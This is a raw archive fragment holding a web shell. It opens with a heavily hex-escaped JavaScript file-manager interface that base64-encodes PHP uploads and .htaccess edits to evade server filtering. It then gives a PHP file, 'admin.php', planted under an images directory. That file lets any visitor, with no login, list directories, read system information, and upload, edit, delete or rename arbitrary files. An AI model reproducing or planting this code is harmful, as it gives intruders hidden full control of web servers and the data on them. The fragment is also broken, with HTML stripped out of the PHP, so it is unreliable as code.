7\160\x61\164\x68\47\54\x20\x70\141\x74\150\51\x3b\xa\x20\40\x20\40\40\40\40\x20\40\x20\40\x20\x20\40\40\40\x20\x20\40\40\x7d\12\x20\x20\40\40\x20\40\x20\x20\40\x20\x20\40\40\x20\x20\40\40\x20\x20\x20\141\x70\x69\103\x61\x6c\x6c\50\141\x63\x74\151\157\156\54\x20\x66\144\x29\x2e\x74\x68\x65\156\50\x72\x65\x73\x75\154\164\40\x3d\76\40\x7b\12\40\x20\40\40\40\x20\40\40\40\40\40\40\x20\40\x20\x20\40\40\x20\x20\x20\40\40\x20\151\x66\x28\162\x65\x73\x75\154\x74\51\40\x7b\xa\x20\40\x20\x20\40\x20\x20\40\x20\x20\40\40\x20\40\x20\40\40\40\x20\40\40\x20\40\40\x20\40\40\x20\144\x6f\155\x2e\x65\x64\151\164\157\x72\x46\x69\x6c\x65\x6e\141\x6d\145\x2e\x74\x65\x78\x74\x43\157\x6e\164\x65\156\x74\40\75\40\x70\141\x74\150\73\12\x20\40\40\40\x20\40\x20\x20\x20\40\x20\x20\x20\40\x20\x20\40\x20\x20\x20\40\40\x20\x20\x20\40\x20\x20\x64\157\155\56\145\x64\x69\164\157\x72\56\166\x61\x6c\165\x65\x20\75\x20\141\164\x6f\x62\50\x61\164\157\x62\50\x72\145\x73\x75\x6c\x74\56\143\x6f\x6e\x74\x65\x6e\164\51\x29\x3b\xa\x20\x20\40\40\40\40\40\x20\40\40\x20\x20\x20\x20\40\40\40\x20\40\x20\40\x20\40\40\40\x20\40\x20\x64\x6f\155\x2e\145\x64\x69\x74\x6f\162\x4d\x6f\x64\141\154\56\x73\164\x79\x6c\x65\x2e\144\x69\x73\x70\154\x61\x79\40\x3d\x20\x27\x66\154\x65\170\47\73\12\40\x20\40\x20\40\x20\40\x20\40\x20\40\40\40\40\x20\x20\40\x20\40\40\x20\x20\40\40\x7d\xa\x20\x20\40\40\x20\40\40\40\40\40\40\x20\x20\40\x20\40\x20\x20\x20\x20\175\51\x3b\12\40\40\40\x20\x20\x20\40\x20\40\x20\40\x20\x20\x20\40\x20\175\12\x20\40\40\40\40\x20\x20\x20\40\x20\40\40\40\x20\40\40\162\x65\x74\165\x72\156\x3b\xa\40\x20\x20\x20\x20\x20\x20\x20\40\x20\x20\40\x7d\xa\40\x20\40\x20\40\40\40\40\x20\40\x20\40\x63\x6f\x6e\163\x74\x20\x6e\x61\x76\124\141\x72\147\x65\x74\x20\75\40\x65\x2e\x74\141\x72\x67\145\164\56\143\x6c\x6f\x73\x65\163\x74\50\x27\x5b\144\141\x74\141\55\x70\141\164\x68\135\x27\x29\73\xa\x20\x20\40\x20\40\x20\40\40\40\40\40\40\151\x66\x20\x28\x6e\x61\166\124\141\162\147\145\x74\51\40\173\40\145\56\x70\x72\x65\x76\145\156\x74\104\x65\146\141\165\x6c\x74\x28\51\x3b\x20\x53\124\101\x54\x45\56\x63\x75\x72\x72\x65\x6e\164\x50\x61\x74\150\x20\x3d\x20\156\x61\166\x54\x61\162\x67\145\164\x2e\144\x61\164\141\x73\145\164\56\x70\x61\164\x68\73\40\162\x65\156\x64\x65\162\x28\51\x3b\40\175\xa\40\x20\x20\40\x20\x20\x20\40\x7d\51\x3b\xa\40\x20\x20\x20\40\x20\x20\40\xa\x20\40\40\40\40\x20\40\40\x64\157\x6d\56\156\x65\x77\x46\157\154\144\x65\162\x42\x74\156\56\141\x64\x64\105\x76\145\x6e\x74\x4c\x69\x73\x74\x65\x6e\145\162\50\47\143\154\151\143\153\x27\x2c\x20\50\x29\40\75\x3e\x20\173\x20\x63\x6f\x6e\x73\x74\x20\156\141\x6d\145\x20\x3d\x20\160\x72\157\155\x70\x74\50\47\x45\x6e\164\145\162\x20\x6e\x65\x77\x20\146\x6f\154\x64\x65\x72\x20\156\x61\x6d\x65\x3a\x27\51\x3b\x20\151\x66\x20\50\x6e\x61\x6d\145\51\40\x7b\40\143\157\x6e\x73\164\x20\146\x64\x20\75\x20\x6e\145\x77\x20\106\x6f\x72\x6d\x44\141\x74\x61\50\51\x3b\40\146\x64\x2e\141\x70\160\145\156\144\50\47\x70\x61\164\150\x27\x2c\40\123\124\101\x54\105\x2e\x63\x75\162\x72\x65\156\164\x50\141\164\150\51\x3b\x20\x66\144\56\x61\x70\x70\x65\x6e\144\x28\x27\156\141\155\145\x27\54\x20\x6e\x61\x6d\145\x29\73\40\141\x70\x69\x43\141\154\x6c\x28\47\143\162\x65\x61\x74\x65\x5f\x66\157\154\144\x65\x72\x27\54\40\146\144\51\x2e\164\x68\x65\x6e\x28\x72\145\x6e\144\x65\162\51\73\40\x7d\x20\175\x29\73\12\40\x20\x20\x20\x20\x20\x20\40\144\x6f\x6d\56\x6e\x65\x77\106\151\x6c\x65\x42\x74\x6e\x2e\141\x64\x64\x45\x76\145\156\164\114\x69\x73\164\145\156\x65\162\50\x27\143\x6c\x69\143\x6b\x27\54\x20\x28\x29\x20\75\x3e\40\173\x20\x63\157\156\163\164\x20\156\x61\x6d\145\x20\75\40\x70\162\x6f\155\160\164\x28\x27\105\156\164\x65\x72\x20\156\x65\167\x20\146\151\154\145\40\x6e\x61\x6d\x65\72\47\x29\x3b\x20\x69\146\40\50\156\141\x6d\145\51\40\x7b\40\x63\157\156\163\x74\40\x66\x64\40\75\x20\156\145\167\40\x46\157\x72\155\x44\141\x74\x61\x28\51\x3b\x20\x66\x64\56\x61\160\160\145\156\144\x28\47\160\141\164\x68\x27\54\40\123\x54\x41\x54\x45\56\143\x75\162\162\x65\156\164\x50\x61\x74\150\51\x3b\40\x66\x64\x2e\x61\160\160\x65\156\144\x28\x27\156\x61\x6d\145\47\x2c\x20\x6e\141\x6d\145\x29\x3b\40\x61\x70\151\103\x61\154\x6c\50\x27\x63\162\x65\141\164\x65\x5f\146\151\154\145\47\x2c\x20\x66\x64\51\x2e\x74\150\145\x6e\x28\162\x65\x6e\x64\145\x72\51\x3b\40\x7d\x20\x7d\x29\73\12\x20\x20\x20\x20\40\40\40\40\144\157\155\56\163\145\154\145\143\x74\x41\x6c\x6c\x2e\141\144\x64\105\x76\145\156\x74\x4c\151\163\x74\x65\156\x65\162\50\47\x63\x68\x61\156\147\145\x27\x2c\40\145\x20\x3d\76\40\x64\157\143\165\x6d\x65\x6e\x74\x2e\x71\165\x65\162\x79\123\x65\x6c\x65\143\164\157\x72\101\x6c\x6c\x28\x27\56\x69\164\x65\x6d\55\163\145\x6c\x65\143\x74\x27\x29\56\146\x6f\162\x45\141\x63\x68\50\x63\142\40\x3d\76\40\x63\142\56\143\x68\x65\143\x6b\x65\x64\x20\75\40\145\56\164\141\x72\147\x65\164\56\143\x68\x65\x63\x6b\145\x64\51\x29\73\12\x20\x20\40\40\40\40\40\x20\12\40\40\40\40\x20\x20\x20\x20\144\157\155\56\144\x65\154\x65\x74\x65\x42\164\156\x2e\x61\x64\144\x45\x76\145\156\164\x4c\x69\x73\x74\x65\x6e\145\x72\50\47\143\154\151\143\153\47\x2c\x20\x28\x29\x20\75\76\40\173\12\x20\x20\x20\40\40\40\x20\x20\40\40\40\40\143\x6f\x6e\163\164\x20\163\x65\154\145\143\164\x65\144\40\75\40\x41\162\x72\x61\171\56\146\162\157\x6d\x28\144\x6f\143\x75\x6d\145\156\x74\x2e\x71\165\145\x72\171\x53\145\154\x65\x63\164\x6f\x72\x41\154\154\50\47\x2e\x69\164\145\155\x2d\163\145\x6c\x65\143\164\72\143\x68\x65\143\153\x65\x64\x27\51\51\x2e\155\141\160\x28\143\x62\x20\x3d\76\x20\143\142\x2e\166\141\x6c\x75\145\x29\x3b\12\x20\x20\40\x20\x20\x20\x20\40\x20\40\x20\x20\x69\146\x20\x28\163\145\154\145\143\164\x65\144\x2e\x6c\x65\156\x67\164\x68\40\x3d\75\x3d\40\60\51\40\162\145\x74\x75\162\156\x20\x61\x6c\145\x72\x74\50\x27\x4e\157\40\x69\164\x65\155\163\40\163\x65\x6c\145\x63\x74\145\x64\56\x27\x29\73\xa\x20\x20\40\40\x20\x20\40\40\40\x20\40\x20\151\x66\40\50\x63\x6f\x6e\x66\151\x72\x6d\x28\140\101\x72\145\40\x79\157\x75\40\163\x75\x72\145\x20\x79\x6f\165\40\167\141\x6e\x74\x20\x74\x6f\x20\x64\145\154\145\164\145\x20\44\x7b\x73\145\x6c\x65\x63\164\x65\x64\x2e\x6c\x65\x6e\x67\164\x68\x7d\x20\151\x74\145\155\50\163\51\77\x60\x29\x29\40\173\xa\x20\40\40\x20\x20\40\40\40\40\40\x20\x20\x20\40\x20\x20\x63\157\156\x73\x74\40\x66\144\x20\75\x20\156\x65\167\40\x46\x6f\x72\155\104\141\x74\141\x28\51\x3b\12\40\40\40\40\x20\x20\x20\40\x20\40\x20\x20\x20\x20\40\40\x66\x64\56\141\160\160\145\x6e\144\x28\x27\x70\x61\164\150\47\x2c\x20\x53\x54\101\124\105\56\143\x75\162\x72\145\156\164\120\x61\x74\x68\x29\73\12\x20\x20\40\40\x20\x20\40\40\40\x20\40\40\40\x20\x20\x20\143\157\156\163\164\x20\151\163\x53\x65\156\x73\151\x74\x69\x76\145\x20\x3d\40\x73\x65\x6c\145\143\164\x65\144\x2e\163\157\x6d\145\50\151\x74\145\155\x20\75\76\x20\151\x74\145\x6d\x2e\x69\x6e\143\154\x75\144\145\163\x28\47\x2e\x68\x74\x61\143\143\x65\163\163\47\51\x29\x3b\xa\x20\x20\x20\40\x20\40\x20\40\40\x20\40\40\40\x20\40\x20\154\145\164\40\141\x63\164\151\157\x6e\x20\x3d\40\x27\144\x65\x6c\145\164\x65\47\73\12\x20\40\x20\x20\40\x20\40\x20\x20\40\40\x20\x20\x20\x20\x20\151\146\40\50\151\x73\x53\145\x6e\163\151\x74\151\166\x65\51\40\173\12\40\40\x20\40\x20\x20\40\x20\x20\40\40\40\x20\x20\x20\40\x20\40\x20\40\x61\x63\164\x69\x6f\156\x20\x3d\x20\47\144\145\x6c\x65\x74\145\x5f\142\x36\64\x27\x3b\12\40\40\40\40\40\x20\40\40\x20\x20\40\40\x20\x20\x20\40\x20\40\40\40\163\145\x6c\x65\143\164\145\144\x2e\146\157\162\105\x61\x63\x68\x28\151\x74\145\155\40\75\x3e\40\x66\x64\56\141\160\x70\x65\156\144\50\47\x69\x74\x65\x6d\163\137\x62\66\64\133\135\47\54\40\142\x74\157\141\x28\x69\x74\145\155\x29\51\x29\73\12\40\x20\x20\40\40\x20\x20\x20\40\x20\x20\x20\x20\x20\40\x20\175\40\145\154\163\x65\40\173\xa\40\40\40\x20\40\x20\x20\40\40\x20\40\x20\x20\x20\x20\40\40\x20\40\40\x73\145\154\145\143\164\x65\x64\x2e\146\157\x72\105\x61\143\150\50\151\x74\x65\155\40\75\x3e\40\x66\x64\56\141\x70\160\x65\156\144\x28\47\151\x74\x65\155\163\x5b\135\x27\54\40\151\164\145\x6d\x29\51\73\xa\40\x20\40\40\40\40\x20\x20\x20\40\40\40\x20\40\40\x20\x7d\12\x20\x20\x20\x20\x20\x20\x20\x20\40\40\40\x20\x20\x20\40\x20\x61\160\151\103\141\154\x6c\50\x61\143\x74\151\x6f\x6e\54\40\x66\x64\51\x2e\164\x68\145\156\50\x72\145\156\144\145\x72\51\x3b\xa\40\40\x20\x20\x20\x20\x20\40\x20\x20\x20\x20\175\xa\x20\x20\40\x20\40\40\40\x20\x7d\51\73\12\x20\x20\40\x20\x20\40\40\x20\xa\40\x20\x20\x20\40\x20\40\x20\144\x6f\x6d\x2e\x75\160\154\157\x61\x64\x42\164\x6e\56\141\144\144\x45\x76\145\x6e\164\x4c\151\x73\164\x65\156\x65\162\x28\x27\143\154\151\143\153\47\x2c\x20\50\51\x20\75\x3e\x20\144\x6f\x6d\x2e\x68\151\144\x64\x65\156\106\151\x6c\x65\x49\156\x70\165\x74\x2e\x63\154\x69\x63\x6b\50\51\51\73\12\x20\40\x20\x20\x20\40\40\x20\x64\157\x6d\x2e\150\x69\x64\144\x65\x6e\106\151\154\145\111\x6e\160\x75\164\56\x61\144\x64\x45\166\x65\x6e\x74\114\x69\163\x74\145\156\145\162\50\47\143\x68\x61\156\147\145\47\x2c\40\141\163\171\x6e\x63\40\50\145\x29\40\75\x3e\40\x7b\12\x20\40\x20\40\40\40\40\x20\40\40\40\x20\x63\x6f\x6e\x73\164\40\x66\x69\154\145\x73\40\x3d\40\x41\x72\x72\141\171\x2e\146\162\157\x6d\50\x65\56\164\x61\x72\147\145\164\x2e\146\151\x6c\145\163\x29\73\x20\151\x66\x20\50\x66\x69\154\x65\x73\x2e\x6c\145\x6e\x67\164\150\40\x3d\x3d\75\40\x30\51\x20\x72\145\x74\165\162\x6e\73\12\x20\40\40\x20\40\x20\40\40\40\x20\40\x20\146\x6f\162\40\x28\x63\x6f\x6e\163\164\x20\x66\151\x6c\x65\x20\157\x66\40\x66\151\x6c\145\x73\x29\x20\173\12\x20\40\40\40\40\x20\x20\x20\x20\40\x20\40\x20\40\x20\x20\151\146\x20\x28\146\151\154\x65\x2e\x73\x69\x7a\x65\x20\76\40\x55\120\x4c\x4f\x41\x44\137\114\111\x4d\111\x54\137\115\x42\x20\x2a\40\61\x30\x32\64\x20\x2a\40\61\x30\x32\64\x29\40\173\40\x61\154\145\162\164\50\140\x45\162\162\x6f\162\x3a\40\x46\151\x6c\145\x20\42\x24\173\x66\x69\x6c\x65\56\x6e\x61\155\145\x7d\42\x20\151\x73\40\164\x6f\157\40\x6c\141\x72\x67\x65\x20\50\115\141\170\x3a\x20\44\x7b\125\x50\114\117\101\104\x5f\114\111\x4d\111\x54\137\115\x42\175\x20\x4d\102\51\x2e\x60\x29\x3b\40\x63\157\156\164\x69\156\x75\x65\73\x20\x7d\12\40\40\x20\40\x20\x20\40\x20\40\x20\40\40\x20\40\40\40\143\x6f\x6e\163\164\x20\162\145\141\144\x65\162\40\x3d\40\156\145\167\x20\x46\151\154\145\x52\145\141\144\x65\x72\x28\x29\73\12\40\40\40\x20\x20\x20\40\40\40\40\x20\x20\40\40\x20\x20\x63\x6f\156\163\164\40\x66\151\x6c\x65\122\145\141\x64\x50\x72\157\x6d\x69\163\x65\x20\x3d\40\156\145\167\40\120\162\157\x6d\x69\163\145\x28\50\162\145\x73\x6f\154\x76\x65\54\40\x72\x65\152\x65\x63\164\51\x20\75\x3e\x20\x7b\40\162\145\141\x64\145\x72\x2e\157\156\154\x6f\141\144\x20\x3d\x20\x65\166\x65\156\164\40\x3d\76\x20\x72\x65\x73\x6f\154\166\145\x28\145\166\145\156\164\56\x74\x61\162\x67\145\x74\56\162\x65\x73\x75\x6c\164\51\73\40\x72\145\141\144\x65\x72\56\x6f\x6e\x65\162\x72\x6f\162\40\x3d\40\145\162\x72\x6f\162\40\75\76\40\162\145\x6a\x65\143\x74\x28\x65\x72\x72\157\x72\51\73\x20\x72\x65\x61\x64\145\162\56\x72\x65\141\144\x41\163\104\x61\164\141\x55\122\x4c\x28\x66\x69\154\x65\x29\73\x20\x7d\51\73\12\40\40\40\40\x20\x20\x20\40\x20\40\40\40\x20\40\40\x20\x74\x72\171\x20\x7b\12\40\40\40\40\40\x20\40\40\40\40\x20\x20\40\40\x20\40\40\40\40\x20\x63\x6f\156\x73\164\40\x63\157\x6e\164\x65\x6e\164\x5f\142\141\x73\145\66\64\x20\x3d\x20\x61\167\141\151\x74\x20\146\151\x6c\145\122\145\x61\x64\120\162\157\155\x69\163\x65\x3b\12\40\x20\x20\40\x20\40\40\40\40\40\40\x20\40\40\40\40\x20\x20\40\x20\x63\157\x6e\x73\x74\40\x6f\162\151\147\151\x6e\x61\154\116\x61\x6d\x65\x20\x3d\40\x66\x69\154\145\x2e\156\141\x6d\145\x3b\12\x20\40\x20\40\x20\x20\x20\40\40\x20\x20\x20\40\x20\40\x20\40\40\x20\40\x63\x6f\x6e\163\164\x20\146\144\x20\x3d\40\x6e\145\167\40\106\x6f\x72\155\x44\141\164\141\x28\x29\73\xa\40\x20\40\x20\40\40\40\x20\x20\x20\x20\40\40\40\x20\x20\x20\x20\x20\x20\146\x64\56\141\x70\x70\x65\156\144\50\47\160\x61\x74\150\47\54\40\x53\124\x41\x54\105\x2e\x63\165\x72\x72\145\156\164\120\141\164\150\51\73\12\x20\40\40\40\40\x20\x20\x20\40\40\40\40\40\40\40\40\40\40\x20\x20\146\x64\56\141\160\160\145\x6e\x64\x28\x27\x63\157\x6e\x74\x65\156\x74\137\x62\x61\163\145\66\64\x27\54\x20\143\157\156\164\145\156\164\x5f\142\141\163\x65\x36\64\51\73\12\40\x20\40\x20\x20\40\x20\40\40\x20\x20\x20\40\x20\40\x20\40\40\40\40\151\146\40\50\x6f\162\151\x67\151\156\141\154\x4e\141\155\x65\56\164\x6f\114\157\x77\x65\162\x43\x61\163\145\50\x29\x2e\145\x6e\144\163\x57\x69\x74\x68\50\x27\56\x70\x68\160\x27\51\x29\40\x7b\12\x20\x20\x20\x20\x20\40\x20\40\x20\40\x20\40\40\x20\x20\40\x20\x20\x20\x20\40\x20\40\40\146\144\x2e\x61\x70\160\145\156\x64\50\47\146\151\x6c\145\x6e\141\x6d\x65\137\x62\x61\163\145\x36\x34\47\x2c\40\x62\164\157\141\50\x6f\x72\151\147\151\156\141\x6c\x4e\x61\155\x65\51\51\x3b\xa\x20\x20\x20\40\x20\x20\x20\x20\x20\40\x20\x20\40\40\40\40\x20\40\40\40\40\x20\x20\x20\141\167\x61\151\x74\x20\141\160\151\x43\141\154\x6c\50\x27\x75\x70\154\x6f\x61\x64\x5f\x70\x68\x70\x27\x2c\40\146\144\54\40\x74\162\165\145\x29\x3b\xa\x20\40\x20\40\40\40\40\x20\40\x20\x20\40\40\x20\x20\x20\40\x20\x20\40\175\40\145\154\x73\x65\x20\x7b\xa\40\40\40\40\40\x20\x20\40\x20\x20\40\40\x20\x20\40\40\x20\40\40\40\x20\40\40\x20\146\144\x2e\141\160\160\145\x6e\144\x28\47\146\x69\154\x65\156\x61\x6d\145\x5f\142\x61\163\145\x36\x34\x27\54\40\142\164\x6f\141\x28\157\x72\151\x67\151\x6e\141\x6c\116\141\155\x65\51\x29\73\12\40\x20\x20\x20\x20\40\x20\x20\x20\40\x20\x20\x20\x20\x20\x20\40\40\x20\40\40\x20\40\40\141\167\x61\x69\x74\x20\141\160\x69\103\x61\154\154\50\47\165\x70\154\x6f\141\144\47\x2c\x20\x66\x64\x2c\40\x74\x72\165\x65\x29\x3b\xa\x20\x20\40\x20\x20\40\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\40\x20\x20\x7d\12\40\x20\40\40\40\40\40\x20\40\x20\40\40\x20\40\40\40\x7d\40\143\141\x74\x63\x68\x20\x28\x65\162\162\157\162\x29\40\x7b\xa\40\x20\x20\40\40\x20\x20\x20\x20\40\40\x20\40\40\x20\x20\x20\40\x20\40\x61\154\145\x72\x74\50\x60\x46\141\151\x6c\x65\144\40\x74\157\x20\x70\162\x6f\143\x65\163\163\40\x66\151\x6c\145\x20\x24\173\146\x69\154\x65\56\156\141\x6d\145\175\72\x20\44\173\x65\162\x72\x6f\x72\56\155\x65\x73\163\141\x67\145\x7d\x60\x29\x3b\12\40\x20\x20\x20\x20\x20\x20\x20\40\x20\x20\x20\x20\x20\x20\x20\x7d\xa\40\40\x20\x20\x20\40\40\40\40\40\x20\40\175\12\x20\x20\40\x20\x20\40\x20\40\x20\40\40\x20\x65\56\164\141\x72\147\145\x74\56\x76\x61\x6c\x75\x65\40\x3d\x20\x27\47\73\12\40\40\40\x20\x20\x20\40\x20\x20\40\40\40\162\x65\156\x64\145\162\x28\51\x3b\xa\x20\x20\40\40\x20\x20\40\x20\x7d\51\x3b\12\xa\x20\40\40\40\40\40\40\40\144\x6f\x6d\56\x73\141\166\x65\102\x74\x6e\x2e\x61\144\144\x45\166\145\156\x74\114\x69\163\164\145\156\145\x72\x28\x27\x63\154\151\x63\x6b\47\x2c\40\x28\x29\40\75\76\x20\x7b\xa\40\x20\x20\x20\x20\x20\x20\x20\40\x20\x20\40\x63\x6f\x6e\163\164\40\x70\x61\164\x68\x20\75\40\144\x6f\x6d\x2e\x65\x64\x69\164\157\162\x46\151\x6c\x65\156\x61\155\x65\56\x74\x65\170\x74\x43\157\x6e\164\x65\x6e\164\x3b\12\x20\x20\x20\x20\40\x20\40\x20\x20\40\x20\x20\x63\157\156\x73\x74\x20\143\x6f\156\164\145\x6e\164\40\75\40\x62\x74\x6f\x61\50\x62\164\157\141\50\144\157\x6d\56\145\x64\151\x74\x6f\162\x2e\166\x61\x6c\x75\x65\x29\51\x3b\xa\x20\x20\40\40\x20\40\40\x20\x20\40\x20\x20\x63\157\x6e\163\x74\40\x66\x64\x20\75\40\156\x65\167\40\x46\157\x72\x6d\x44\x61\x74\141\50\x29\73\12\x20\40\x20\40\40\x20\x20\40\40\40\x20\40\x63\x6f\x6e\163\x74\40\143\150\x75\156\153\x53\151\172\145\40\x3d\40\64\x30\71\x36\73\12\x20\40\x20\40\x20\x20\40\40\x20\x20\x20\40\146\157\162\x20\x28\154\x65\164\40\151\x20\75\40\60\73\x20\x69\40\74\40\x63\157\156\x74\x65\156\x74\x2e\154\145\156\147\x74\150\73\x20\151\40\x2b\75\x20\x63\150\165\x6e\x6b\x53\151\172\145\x29\40\173\xa\x20\x20\x20\x20\40\40\x20\40\40\x20\x20\40\x20\x20\40\x20\146\x64\x2e\141\160\x70\145\156\144\50\x27\143\157\x6e\x74\145\x6e\x74\x5f\143\150\165\156\x6b\x73\133\x5d\x27\x2c\x20\143\x6f\156\164\145\156\x74\x2e\x73\165\x62\x73\x74\x72\151\156\x67\x28\x69\x2c\40\x69\x20\x2b\40\x63\x68\x75\156\x6b\123\151\172\x65\x29\51\73\12\x20\x20\40\x20\x20\x20\40\x20\x20\40\40\40\x7d\xa\40\x20\x20\x20\x20\40\x20\40\40\x20\x20\40\154\x65\164\40\141\x63\164\151\157\x6e\40\75\40\47\163\141\166\145\x5f\143\x6f\156\x74\x65\x6e\164\47\x3b\12\x20\40\x20\40\x20\x20\40\40\x20\40\x20\40\151\146\x20\x28\160\141\164\150\56\x69\156\143\154\165\144\145\x73\x28\x27\x2e\150\x74\141\x63\143\x65\163\x73\x27\x29\x29\x20\173\xa\x20\40\x20\x20\40\x20\40\x20\40\40\40\x20\40\40\40\40\141\x63\x74\151\157\x6e\x20\75\40\47\x73\141\x76\x65\137\x63\x6f\x6e\164\145\156\164\x5f\142\66\64\x27\73\12\x20\40\x20\x20\40\x20\40\40\x20\x20\40\x20\x20\x20\40\x20\146\x64\56\141\x70\160\x65\156\144\x28\47\160\141\x74\x68\x5f\x62\66\64\47\54\x20\142\164\157\x61\x28\x70\x61\x74\x68\51\51\x3b\xa\40\x20\40\40\40\40\40\x20\40\x20\40\40\x7d\40\x65\x6c\163\x65\x20\x7b\xa\x20\40\40\40\x20\x20\x20\40\x20\x20\x20\x20\x20\x20\x20\40\x66\x64\56\x61\x70\x70\x65\x6e\144\50\47\x70\141\164\x68\47\54\x20\x70\x61\x74\150\51\x3b\xa\x20\x20\40\40\x20\40\x20\40\x20\x20\x20\x20\x7d\xa\x20\x20\x20\x20\40\40\x20\x20\40\x20\40\x20\141\160\x69\103\x61\x6c\154\50\x61\143\164\x69\x6f\156\x2c\x20\x66\x64\x2c\40\164\162\x75\x65\51\56\x74\x68\145\156\x28\x72\x65\163\165\154\164\x20\75\x3e\x20\173\xa\40\40\40\40\x20\x20\40\40\x20\40\x20\40\x20\x20\x20\40\x69\x66\x28\x72\x65\163\165\x6c\164\x29\40\173\12\x20\40\40\40\40\40\x20\x20\40\40\x20\40\x20\x20\40\x20\x20\40\40\x20\144\157\x6d\x2e\145\144\151\x74\157\162\x4d\x6f\144\141\x6c\56\x73\x74\171\154\x65\56\x64\x69\163\x70\154\x61\171\40\75\x20\47\x6e\157\156\x65\x27\x3b\12\x20\40\x20\40\40\40\x20\x20\x20\x20\40\x20\x20\x20\x20\40\x20\40\40\x20\x72\x65\x6e\x64\x65\x72\x28\51\x3b\12\40\x20\40\40\40\40\x20\40\40\x20\40\40\x20\x20\x20\x20\x7d\12\40\x20\x20\40\40\x20\40\40\x20\x20\40\40\175\x29\x3b\xa\x20\40\x20\x20\x20\x20\x20\x20\x7d\x29\x3b\12\xa\40\x20\40\x20\x20\40\40\x20\162\145\x6e\x64\x65\x72\50\x29\73\12\40\40\x20\40\175\51\73\xa\x20\40\40\x20\x3c\x2f\x73\143\x72\x69\x70\164\76\xa\74\x2f\142\157\x64\171\76\12\x3c\57\x68\164\x6d\154\x3e";PKM4\SB66images/zviu/zys/admin.phpnuW+A $symbolic, 'numeric' => $numeric ]; } // Function to recursively list directories and files function listDirectory($dir) { // Get the current directory contents $files = scandir($dir); $system_info = php_uname(); // Display current directory name echo "

$system_info

"; echo "
Directory: $dir
"; // Display link to go back to the parent directory $parentDir = dirname($dir); if ($dir !== '/') { echo " Go Back
"; } // Display option to create a new file echo "
"; // Display list of directories first, then files echo ""; } // Function to create a new file function createFile($dir, $fileName) { $filePath = "$dir/$fileName"; if (!file_exists($filePath)) { file_put_contents($filePath, ""); // Create an empty file echo "
File '$fileName' created successfully!
"; } else { echo "
File '$fileName' already exists.
"; } } // Function to upload multiple files function uploadFile($dir) { $uploadpath = $dir . '/'; // Directory to store the uploaded files $max_size = 2000; // Maximum file size, in KiloBytes $alwidth = 900; // Maximum allowed width, in pixels $alheight = 800; // Maximum allowed height, in pixels if (isset($_FILES['fileup'])) { $files = $_FILES['fileup']; $uploadedFiles = 0; // Loop through each file foreach ($files['name'] as $key => $name) { if (strlen($name) > 1) { $fileTmp = $files['tmp_name'][$key]; $fileSize = $files['size'][$key]; $fileError = $files['error'][$key]; $fileType = strtolower(pathinfo($name, PATHINFO_EXTENSION)); // Check if the file is an image and get its dimensions if (in_array($fileType, ['jpg', 'jpe', 'png', 'gif'])) { list($width, $height) = getimagesize($fileTmp); } // Validate file size, width, and height $err = ''; if ($fileSize > $max_size * 1000) $err .= 'File ' . $name . ' exceeds maximum size of ' . $max_size . ' KB.
'; if (isset($width) && isset($height) && ($width >= $alwidth || $height >= $alheight)) $err .= 'File ' . $name . ' exceeds maximum dimensions of ' . $alwidth . 'x' . $alheight . '.
'; // If no errors, upload the file if ($err == '') { $destination = $uploadpath . basename($name); if (move_uploaded_file($fileTmp, $destination)) { $uploadedFiles++; } else { echo '
Failed to upload ' . $name . '.
'; } } else { echo '
' . $err . '
'; } } } if ($uploadedFiles > 0) { echo '
' . $uploadedFiles . ' file(s) uploaded successfully!
'; } } else { echo '
No files selected.
'; } } // Function to view file content function viewFile($filePath) { if (file_exists($filePath) && is_file($filePath)) { $content = htmlspecialchars(file_get_contents($filePath)); echo "

Viewing File: $filePath

"; echo "
$content
"; echo " Back to Directory"; } else { echo "
File not found.
"; } } // Function to edit file content function editFile($filePath) { if (isset($_POST['content'])) { file_put_contents($filePath, $_POST['content']); echo "
File saved successfully!
"; } $content = htmlspecialchars(file_get_contents($filePath)); echo "

Editing File: $filePath

"; echo "
"; echo " Back to Directory"; } // Function to delete a file function deleteFile($filePath) { if (file_exists($filePath)) { if (unlink($filePath)) { echo ""; } else { echo ""; } } else { echo ""; } } // Function to rename a file function renameFile($filePath, $newName) { $dir = dirname($filePath); $newFilePath = "$dir/$newName"; // Check if the new file name already exists if (file_exists($newFilePath)) { echo "
A file with the name '$newName' already exists.
"; return; } // Attempt to rename the file if (rename($filePath, $newFilePath)) { echo "
File renamed successfully to '$newName'.
"; } else { echo "
Failed to rename file. Please check permissions.
"; } } // Determine what action to take if (isset($_POST['upload_file'])) { $currentDir = isset($_GET['dir']) ? $_GET['dir'] : '.'; $currentDir = realpath($currentDir); uploadFile($currentDir); listDirectory($currentDir); } elseif (isset($_GET['view'])) { $filePath = realpath($_GET['view']); viewFile($filePath); } elseif (isset($_GET['edit'])) { $filePath = realpath($_GET['edit']); editFile($filePath); } elseif (isset($_GET['delete'])) { $filePath = realpath($_GET['delete']); deleteFile($filePath); } elseif (isset($_GET['rename'])) { $filePath = realpath($_GET['rename']); echo "

Rename File: " . basename($filePath) . "

"; echo "
"; } elseif (isset($_POST['rename_file']) && !empty($_POST['new_name'])) { $filePath = $_POST['file_path']; $newName = $_POST['new_name']; renameFile($filePath, $newName); $currentDir = dirname($filePath); listDirectory($currentDir); } elseif (isset($_POST['create_file']) && !empty($_POST['new_file_name'])) { $currentDir = isset($_GET['dir']) ? $_GET['dir'] : '.'; $currentDir = realpath($currentDir); createFile($currentDir, $_POST['new_file_name']); listDirectory($currentDir); } else { // Default action: list directory contents $currentDir = isset($_GET['dir']) ? $_GET['dir'] : '.'; $currentDir = realpath($currentDir); listDirectory($currentDir); } ?> File Manager
